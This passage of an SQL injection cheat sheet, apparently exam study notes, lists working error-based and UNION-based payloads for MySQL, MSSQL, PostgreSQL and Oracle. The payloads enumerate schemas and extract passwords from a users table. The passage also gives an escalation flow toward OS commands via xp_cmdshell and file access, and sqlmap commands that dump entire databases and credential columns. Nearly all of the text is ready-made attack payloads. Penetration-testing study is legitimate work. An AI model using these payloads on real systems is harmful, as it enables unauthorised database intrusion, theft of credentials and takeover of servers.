' AND LineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- MultiLineString error-based
' AND MultiLineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Database enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)))-- -

-- Table enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- -

-- Column enumeration via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)))-- -

-- Data extraction via error
' AND extractvalue(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 0,1)))-- -

MSSQL

-- Convert error-based
'; BEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT @@version END CATCH-- -

-- CAST error-based
' AND 1=CAST((SELECT @@version) AS INT)-- -

-- CONVERT error-based
' AND 1=CONVERT(INT, (SELECT @@version))-- -

-- Database enumeration via error
' AND 1=CAST((SELECT TOP 1 name FROM sys.databases) AS INT)-- -

-- Table enumeration via error
' AND 1=CAST((SELECT TOP 1 name FROM sysobjects WHERE xtype='U') AS INT)-- -

-- Column enumeration via error
' AND 1=CAST((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users') AS INT)-- -

PostgreSQL

-- Cast error-based
' AND 1=CAST((SELECT version()) AS INT)-- -

-- Array index error-based
' AND (SELECT (ARRAY[version()])[1])-- -

-- Database enumeration via error
' AND 1=CAST((SELECT datname FROM pg_database LIMIT 1) AS INT)-- -

-- Table enumeration via error
' AND 1=CAST((SELECT tablename FROM pg_tables LIMIT 1) AS INT)-- -

-- Column enumeration via error
' AND 1=CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS INT)-- -

Oracle

-- TO_NUMBER error-based
' AND TO_NUMBER((SELECT banner FROM v$version))=0-- -

-- User extraction via error
' AND TO_NUMBER((SELECT user FROM dual))=0-- -

-- User enumeration via error
' AND TO_NUMBER((SELECT username FROM all_users WHERE ROWNUM=1))=0-- -

-- Table enumeration via error
' AND TO_NUMBER((SELECT table_name FROM all_tables WHERE ROWNUM=1))=0-- -

-- Column enumeration via error
' AND TO_NUMBER((SELECT column_name FROM all_tab_columns WHERE table_name='USERS' AND ROWNUM=1))=0-- -

Quick Reference: Detection Flow

┌─────────────────────────────────────────────────────────────────────┐
│                    SQLi Schema Extraction Flow                       │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  1. DETECT SQLi TYPE                                                │
│     ├─ UNION-based? → Use UNION SELECT                              │
│     ├─ Boolean-based? → Use AND/OR with SUBSTRING/ASCII             │
│     ├─ Time-based? → Use SLEEP/WAITFOR/pg_sleep                     │
│     └─ Error-based? → Use extractvalue/updatexml/CAST               │
│                                                                      │
│  2. IDENTIFY DATABASE                                               │
│     ├─ MySQL:    version() contains 'MySQL'                         │
│     ├─ MSSQL:    @@version contains 'Microsoft'                     │
│     ├─ PostgreSQL: version() contains 'PostgreSQL'                  │
│     ├─ Oracle:   banner FROM v$version contains 'Oracle'            │
│     └─ SQLite:   sqlite_version() returns version string            │
│                                                                      │
│  3. EXTRACT SCHEMA INFO                                             │
│     ├─ Get version, user, database                                  │
│     ├─ Enumerate databases/schemata                                 │
│     ├─ Enumerate tables                                             │
│     ├─ Enumerate columns                                            │
│     └─ Extract data                                                 │
│                                                                      │
│  4. CHECK PRIVILEGES                                                │
│     ├─ MySQL:    SHOW GRANTS, mysql.user privileges                 │
│     ├─ MSSQL:    IS_SRVROLEMEMBER, IS_MEMBER                        │
│     ├─ PostgreSQL: usesuper FROM pg_user                            │
│     ├─ Oracle:   v$role_privs                                       │
│     └─ SQLite:   N/A                                                │
│                                                                      │
│  5. ESCALATE (if possible)                                          │
│     ├─ MySQL:    FILE privilege → read/write files                  │
│     ├─ MSSQL:    xp_cmdshell → OS commands                          │
│     ├─ PostgreSQL: pg_read_file/pg_write_file                       │
│     ├─ Oracle:   DBMS_SCHEDULER → OS commands                       │
│     └─ SQLite:   load_extension → arbitrary code                    │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Tools and Automation

sqlmap Schema Extraction Commands

# Detect database type
sqlmap -u "http://target/vuln.php?id=1" --batch

# Enumerate all databases
sqlmap -u "http://target/vuln.php?id=1" --dbs --batch

# Enumerate tables in a database
sqlmap -u "http://target/vuln.php?id=1" -D database_name --tables --batch

# Enumerate columns in a table
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name --columns --batch

# Dump data from a table
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name --dump --batch

# Dump specific columns
sqlmap -u "http://target/vuln.php?id=1" -D database_name -T table_name -C username,password --dump --batch

# Dump all databases
sqlmap -u "http://target/vuln.php?id=1" --dump-all --batch

# Use time-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=T --batch

# Use boolean-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=B --batch

# Use error-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=E --batch

# Use UNION-based injection
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=U --batch

# Custom injection technique combination
sqlmap -u "http://target/vuln.php?id=1" --dbs --technique=UBT --batch

Manual Extraction Tips

  1. Always start with UNION-based if possible (fastest, most reliable)
  2. Use ORDER BY to determine column count before UNION
  3. Cast NULL values to match column types: UNION SELECT NULL,NULL,NULL
  4. Use GROUP_CONCAT in MySQL to get multiple values in one query:
    ' UNION SELECT GROUP_CONCAT(schema_name),2,3 FROM information_schema.schemata-- -
    ' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -
    ' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- -
  5. Use STRING_AGG in MSSQL:
    ' UNION SELECT STRING_AGG(name, ','),2,3 FROM sys.databases-- -
  6. Use STRING_AGG in PostgreSQL:
    ' UNION SELECT STRING_AGG(datname, ','),2,3 FROM pg_database-- -
  7. Use WM_CONCAT or LISTAGG in Oracle:
    ' UNION SELECT LISTAGG(username, ',') WITHIN GROUP (ORDER BY username),2,3 FROM all_users-- -
  8. For blind injection, use binary search with ASCII values for faster extraction
  9. Always verify extracted data makes sense before proceeding
  10. Document everything during the exam for write-up purposes

Last Updated: 2026-09-01